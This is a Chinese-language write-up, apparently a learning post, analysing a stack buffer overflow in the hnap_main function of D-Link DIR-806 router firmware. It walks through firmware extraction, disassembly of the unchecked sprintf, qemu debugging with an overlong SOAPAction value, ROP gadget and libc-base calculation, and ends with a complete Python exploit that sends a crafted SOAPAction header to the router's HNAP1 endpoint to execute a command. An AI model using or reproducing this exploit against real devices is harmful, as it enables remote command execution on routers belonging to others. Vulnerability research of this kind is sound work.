这个漏洞是dlink提供HTTP服务的cgibin组件中的hnap_main函数的sprintf对字符串长度处理不当造成的缓冲区溢出。以下是分析学习过程,如果错误欢迎指正。
固件下载
固件版本为DIR-806,下载地址:
http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-806
静态分析
下载完成之后,使用binwalk对固件进行分析提取。
binwalk -Me DIR806A1_FW100CNb11.bin
分析./etc/services/HTTP/httpcfg.php
可以看出,当请求连接为HNAP1时,程序会执行hnap程序进行解析。
if ($hnap > 0)
{
echo
" Control". "\n".
" {". "\n".
" Alias /HNAP1". "\n".
" Location /htdocs/HNAP1". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/hnap { hnap }". "\n".
" }". "\n".
" IndexNames { index.hnap }". "\n".
" }". "\n";
}
查看usr/sbin/hnap
正是/htdocs/cgibin
的软连接。
➜ squashfs-root ls -la usr/sbin/hnap
lrwxrwxrwx 1 root root 14 Jan 9 20:57 usr/sbin/hnap -> /htdocs/cgibin
分析/htdocs/cgibin的main函数可知,当接收到hnap类型的请求时,程序会执行hnap_main
继续分析hnap_main,可以看到hnap_main中的sprintf处,程序并没有验证$4寄存器的长度,造成漏洞。所以我们可以将传入的数据覆盖掉寄存器$s0-$s7、$ra
.text:00412430 # ---------------------------------------------------------------------------
.text:00412430
.text:00412430 loc_412430: # CODE XREF: hnap_main+4C4↑j
.text:00412430 lui $a1, 0x42
.text:00412434 move $a0, $s4 # s
.text:00412438 addiu $a2, (aVarRun_0 - 0x420000) # "/var/run/"
.text:0041243C la $a1, aShSSShDevConso_0 # "sh %s%s.sh > /dev/console &"
.text:00412440
.text:00412440 loc_412440: # CODE XREF: hnap_main+4D8↑j
.text:00412440 jalr $t9 ; sprintf
有函数开头可知 栈空间为0x248字节大小。
hnap_main XREF[3]: Entry Point(*), main:00402fac(j),
00433b14(*)
00411f50 27 bd fd b8 addiu sp,sp,-0x248
assume gp = <UNKNOWN>
00411f54 af bf 02 44 sw ra,local_4(sp)
00411f58 af b7 02 40 sw s7,local_8(sp)
00411f5c af b6 02 3c sw s6,local_c(sp)
00411f60 af b5 02 38 sw s5,local_10(sp)
00411f64 af b4 02 34 sw s4,local_14(sp)
00411f68 af b3 02 30 sw s3,local_18(sp)
00411f6c af b2 02 2c sw s2,local_1c(sp)
00411f70 af b1 02 28 sw s1,local_20(sp)
00411f74 af b0 02 24 sw s0,local_24(sp)
00411f78 3c 1c 00 44 lui gp,0x44
程序返回时:
0x4124c4 <hnap_main+1396> lw $ra, 0x244($sp)
0x4124c8 <hnap_main+1400> lw $s7, 0x240($sp)
0x4124cc <hnap_main+1404> lw $s6, 0x23c($sp)
0x4124d0 <hnap_main+1408> lw $s5, 0x238($sp)
0x4124d4 <hnap_main+1412> lw $s4, 0x234($sp)
0x4124d8 <hnap_main+1416> lw $s3, 0x230($sp)
0x4124dc <hnap_main+1420> lw $s2, 0x22c($sp)
0x4124e0 <hnap_main+1424> lw $s1, 0x228($sp)
0x4124e4 <hnap_main+1428> lw $s0, 0x224($sp)
0x4124e8 <hnap_main+1432> jr $ra
所以我们可以覆盖$sp+0x244
的位置,构造ROP。
动态调试
这里使用qemu的用户模式对其进行调试分析。为了编写和操作方便。把命令写到sh脚本中
注意,cgibin程序的hnap_main函数会获取一些变量值进行判断才能到达sprintf处。如下图
主要的环境变量有REQUEST_METHOD、REQUEST_URI等等,因此调试时需要设置些环境变量,绕过判断。
#!/bin/bash
echo "testtest" | chroot . ./qemu-mips -0 "hnap" -E CONTENT_LENGTH=8 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/HNAP1/" -E REMOTE_ADDR="127.0.0.1" -g 1238 -E HTTP_SOAPACTION="<http://purenetworks.com/HNAP1/GetDeviceSettings/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac>" ./htdocs/cgibin
使用gdb-multiarch -q ./htdocs/cgibin
启动gdb
之后attach上本地的1238端口即可开始调试。
当执行完最后一个sprintf时。此时栈空间已经全部被填满:
此时执行完sprintf(即我们可控制)的地址是0x76fff298
,$sp+0x244
的地址是0x76fff4bc
,之间相差548个字节。
如何构造ROP链?
使用ropper在libc中找到些合适的ROP,准备构造:
0x000384d0: move $a0, $s4; move $t9, $s2; jalr $t9; nop;
栈中被sprintf填充的数据过多,通过计算,存在溢出点的地址应为195+6*4
字节处。
如何确定libc基地址?
libc的基地址可以通过启动cgibin的pid,在/proc/PID/maps
中查看:(我这里是使用了qume模拟了固件
root@debian-mips:~# cat /proc/1033/maps
00400000-00415000 r-xp 00000000 08:01 449778 /root/httpd
00424000-00425000 rw-p 00014000 08:01 449778 /root/httpd
00425000-0069b000 rwxp 00000000 00:00 0 [heap]
2aaa8000-2aaad000 r-xp 00000000 08:01 1347726 /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aabc000-2aabd000 r--p 00004000 08:01 1347726 /lib/ld-uClibc.so.0
2aabd000-2aabe000 rw-p 00005000 08:01 1347726 /lib/ld-uClibc.so.0
2aabe000-2aac1000 r-xp 00000000 08:01 1347727 /lib/libcrypt.so.0
2aac1000-2aad0000 ---p 00000000 00:00 0
2aad0000-2aad1000 rw-p 00002000 08:01 1347727 /lib/libcrypt.so.0
2aad1000-2aae2000 rw-p 00000000 00:00 0
2aae2000-2ab42000 r-xp 00000000 08:01 1347730 /lib/libc.so.0 <---
2ab42000-2ab51000 ---p 00000000 00:00 0
2ab51000-2ab52000 r--p 0005f000 08:01 1347730 /lib/libc.so.0
2ab52000-2ab53000 rw-p 00060000 08:01 1347730 /lib/libc.so.0
2ab53000-2ab58000 rw-p 00000000 00:00 0
2ab58000-2ab6a000 r-xp 00000000 08:01 1346441 /lib/libgcc_s.so.1
2ab6a000-2ab7a000 ---p 00000000 00:00 0
2ab7a000-2ab7b000 rw-p 00012000 08:01 1346441 /lib/libgcc_s.so.1
7f84c000-7f861000 rwxp 00000000 00:00 0 [stack]
最终exp如下:
from pwn import *
import requests
import sys
def get_payload():
cmd="`reboot`".ljust(30,"a")
libc_addr=0x2aae2000
payload="<http://purenetworks.com/HNAP1/GetDeviceSettings/>"
payload+="a"*195
payload+="aaaa"*2
payload+=p32(libc_addr+0x52510,endian="big")#s2
payload+="aaaa"*3
payload+=p32(libc_addr+0x384d0,endian="big")#s6
payload+="aaaa"
payload+=p32(libc_addr+0x0F5B4,endian="big")#ra
payload+="aaaa"*4
payload+=cmd
return payload
data="ttt"
if __name__=="__main__":
fake_cmd=get_payload()
header = {
'SOAPAction' : fake_cmd,
'Cookie' : "uid=UUzkPysdIW",
'Content-Type' : 'text/xml',
'Content-Length': str(len(data))
}
url="<http://192.168.0.1/HNAP1/>"
r=requests.post(url=url,headers=header,data=data)
log.info("Success")
Ref
https://github.com/Kirin-say/Vulnerabilities/blob/master/DIR-806_Stack_Overflow_to_Run_Shellcode.md
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法